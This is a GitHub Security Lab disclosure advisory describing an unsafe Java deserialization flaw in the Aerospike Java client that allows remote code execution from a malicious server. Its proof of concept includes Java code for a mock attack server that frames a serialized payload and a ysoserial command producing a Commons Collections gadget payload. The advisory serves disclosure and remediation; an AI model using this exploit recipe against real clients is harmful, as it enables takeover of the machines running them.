GHSL-2023-044
The GitHub Security Lab team has identified a potential security vulnerability in Aerospike Java Client.
We are committed to working with you to help resolve this issue. In this report you will find everything you need to effectively coordinate a resolution of this issue with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com
(please include GHSL-2023-044
as a reference).
If you are NOT the correct point of contact for this report, please let us know!
The Aerospike Java client is a Java application that implements a network protocol to communicate with an Aerospike server. Some of the messages received from the server contain Java objects that the client deserializes when it encounters them without further validation. Attackers that manage to trick clients into communicating with a malicious server can include especially crafted objects in its responses that, once deserialized by the client, force it to execute arbitrary code. This can be abused to take control of the machine the client is running on.
Aerospike Java Client
GHSL-2023-044
)The Aerospike Java client implements different ways of communicating with an Aerospike server to perform several operations. Asynchronous commands can be executed using the Netty framework using the NettyCommand
class. This class includes an InboundHandler
that extends Netty's ChannelInboundHandlerAdapter
, which handles inbound data coming from the Netty channel established with the server. This is implemented in the channelRead
method:
client/src/com/aerospike/client/async/NettyCommand.java:1157
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) {
command.read((ByteBuf)msg);
}
The incoming msg
object is handled by the NettyCommand.read
method, which behaves differently depending on the state
variable. Several states produce paths to the vulnerable code — for instance, we will follow the path through AsyncCommand.COMMAND_READ_HEADER
:
/client/src/com/aerospike/client/async/NettyCommand.java:489
private void read(ByteBuf byteBuffer) {
eventReceived = true;
try {
switch (state) {
// --snip--
case AsyncCommand.COMMAND_READ_HEADER:
if (command.isSingle) {
readSingleHeader(byteBuffer);
}
// --snip--
}
// --snip--
}
// --snip---
}
Some bytes are read from the message buffer and saved in command.dataBuffer
in the readSingleHeader
method, after which parseSingleBody
is called:
client/src/com/aerospike/client/async/NettyCommand.java:596
private void readSingleHeader(ByteBuf byteBuffer) {
int readableBytes = byteBuffer.readableBytes();
int dataSize = command.dataOffset + readableBytes;
// --snip--
byteBuffer.readBytes(command.dataBuffer, 0, dataSize);
command.dataOffset = dataSize;
if (command.dataOffset >= receiveSize) {
parseSingleBody();
}
}
parseSingleBody
simply delegates on AsyncCommand.parseCommandResult
, which unless the message is compressed, directly calls AsyncCommand.parseResult
. The implementation of this method depends on the command type. For an AsyncRead
command, we have the following:
client/src/com/aerospike/client/async/AsyncRead.java:68
@Override
protected final boolean parseResult() {
validateHeaderSize();
int resultCode = dataBuffer[dataOffset + 5] & 0xFF;
int generation = Buffer.bytesToInt(dataBuffer, dataOffset + 6);
int expiration = Buffer.bytesToInt(dataBuffer, dataOffset + 10);
int fieldCount = Buffer.bytesToShort(dataBuffer, dataOffset + 18);
int opCount = Buffer.bytesToShort(dataBuffer, dataOffset + 20);
dataOffset += Command.MSG_REMAINING_HEADER_SIZE;
if (resultCode == 0) {
// --snip--
skipKey(fieldCount);
record = parseRecord(opCount, generation, expiration, isOperation);
return true;
}
It can be seen that several fields are read from the message's bytes, and then a call to Command.parseRecord
happens:
client/src/com/aerospike/client/command/Command.java:2083
protected final Record parseRecord(
int opCount,
int generation,
int expiration,
boolean isOperation
) {
Map<String,Object> bins = new LinkedHashMap<>();
for (int i = 0 ; i < opCount; i++) {
int opSize = Buffer.bytesToInt(dataBuffer, dataOffset);
byte particleType = dataBuffer[dataOffset + 5];
byte nameSize = dataBuffer[dataOffset + 7];
String name = Buffer.utf8ToString(dataBuffer, dataOffset + 8, nameSize);
dataOffset += 4 + 4 + nameSize;
int particleBytesSize = opSize - (4 + nameSize);
Object value = Buffer.bytesToParticle(particleType, dataBuffer, dataOffset, particleBytesSize);
Buffer.bytesToParticle
converts the remaining bytes in the data buffer depending on the particleType
field. We're interested in the JBLOB
case:
client/src/com/aerospike/client/command/Buffer.java:53
public static Object bytesToParticle(int type, byte[] buf, int offset, int len)
throws AerospikeException {
switch (type) {
// --snip--
case ParticleType.JBLOB:
return Buffer.bytesToObject(buf, offset, len);
In bytesToObject
, the deserialization of an object from the message bytes happens:
client/src/com/aerospike/client/command/Buffer.java:300
public static Object bytesToObject(byte[] buf, int offset, int length) {
// --snip--
try (ByteArrayInputStream bastream = new ByteArrayInputStream(buf, offset, length)) {
try (ObjectInputStream oistream = new ObjectInputStream(bastream)) {
return oistream.readObject();
}
}
// --snip--
}
NOTE: Take into account that there exists a similar sink, that can be reached in a similar way, in Unpacker.unpackBlock
:
client/src/com/aerospike/client/util/Unpacker.java:227
private T unpackBlob(int count) throws IOException, ClassNotFoundException {
// --snip--
case ParticleType.JBLOB:
// --snip--
try (ByteArrayInputStream bastream = new ByteArrayInputStream(buffer, offset, count)) {
try (ObjectInputStream oistream = new ObjectInputStream(bastream)) {
val = getJavaBlob(oistream.readObject());
}
}
This vulnerability was discovered with the help of CodeQL.
This issue may lead to Remote Code Execution (RCE) in the Java client.
Avoid deserialization of untrusted data if at all possible. If the architecture permits it then use other formats instead of serialized objects, for example JSON or XML. However, these formats should not be deserialized into complex objects because this provides further opportunities for attack. For example, XML-based deserialization attacks are possible through libraries such as XStream and XmlDecoder.
Alternatively, a tightly controlled whitelist can limit the vulnerability of code but be aware of the existence of so-called Bypass Gadgets, which can circumvent such protection measures.
To exploit this vulnerability, a malicious Aerospike server is needed. For the sake of simplicity, we implemented a mock server with hardcoded responses, with the only goal of reaching the vulnerable code of the client. To be able to easily reproduce this, we used the client's examples with the -netty
flag, specifically the AsyncPutGet
, which uses an AsyncRead
. The examples point to localhost:3000
by default, so we set up a simple Netty TCP server listening on that port, which replicates responses previously intercepted from a real Aerospike server and returns them to the client, until the AsyncRead
command happens. Then, our server injects the malicious response:
public class AttackChannelHandler extends SimpleChannelInboundHandler<String> {
@Override
protected void channelRead0(ChannelHandlerContext ctx, String s) throws Exception {
// --snip--
if (s.getBytes()[7] == 0x44) {
AttackMessage m = new AttackMessage(
Files.readAllBytes(Paths.get("location/of/deserialization/payload.bin")));
ctx.channel().writeAndFlush(m);
return;
}
// --snip--
}
}
AttackMessage
is a class that hardcodes the necessary data to deliver the payload:
public class AttackMessage {
private byte resultCode = 0;
private int generation = 2;
private int expiration = 417523457;
private short fieldCount = 0;
private short opCount = 1;
private byte particleType = 7;
private String name = "putgetbin";
private byte[] payload;
public AttackMessage(byte[] payload) {
this.payload = payload;
}
// --snip-- (getters)
public int[] getSize() {
int size = 30 + name.length() + payload.length;
int low = (byte) (size & 0xFF);
int high = (byte) (size >> 8) & 0xFF;
return new int[] {high, low};
}
public int getOpSize() {
return payload.length + 4 + name.length();
}
public byte[] getPayload() {
return payload;
}
}
And it's finally encoded and delivered to the client through the network using a MessageToByteEncoder
from Netty:
public class AttackMessageEncoder extends MessageToByteEncoder<AttackMessage> {
@Override
protected void encode(ChannelHandlerContext ctx, AttackMessage msg, ByteBuf out)
throws Exception {
// header
out.writeBytes(new byte[] {0x02, 0x03, 0x00, 0x00, 0x00, 0x00});
int[] length = msg.getSize();
out.writeByte(length[0]);
out.writeByte(length[1]);
out.writeBytes(new byte[] {0x16, 0x00, 0x00, 0x00, 0x00});
out.writeByte(msg.getResultCode());
out.writeInt(msg.getGeneration());
out.writeInt(msg.getExpiration());
out.writeBytes(new byte[] {0x00, 0x00, 0x00, 0x00});
out.writeShort(msg.getFieldCount());
out.writeShort(msg.getOpCount());
out.writeInt(msg.getOpSize());
out.writeByte(0x01);
out.writeByte(msg.getParticleType());
out.writeByte(0x00);
out.writeByte(msg.getName().length());
out.writeCharSequence(msg.getName(), Charset.defaultCharset());
out.writeBytes(msg.getPayload());
}
}
The specific deserialization payload that needs to be used depends on the deserialization gadgets available in the classpath of the application using the Aerospike client. Again, for simplicity, we assumed the victim application uses Apache Commons Collections 4.0, which contains a well-known deserialization gadget:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
In which case, the malicious payload file could be generated using ysoserial
as follows:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 '/System/Applications/Calculator.app/Contents/MacOS/Calculator' > payload.bin
We recommend you create a private GitHub Security Advisory for this finding. This also allows you to invite the GHSL team to collaborate and further discuss this finding in private before it is published.
This issue was discovered and reported by the GitHub CodeQL team members @atorralba (Tony Torralba) and @joefarebrother (Joseph Farebrother).
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-044
in any communication regarding this issue.
This report is subject to our coordinated disclosure policy.
{ "nvd_published_at": "2023-08-04T15:15:10Z", "cwe_ids": [ "CWE-502" ], "severity": "CRITICAL", "github_reviewed": true, "github_reviewed_at": "2023-08-03T19:45:39Z" }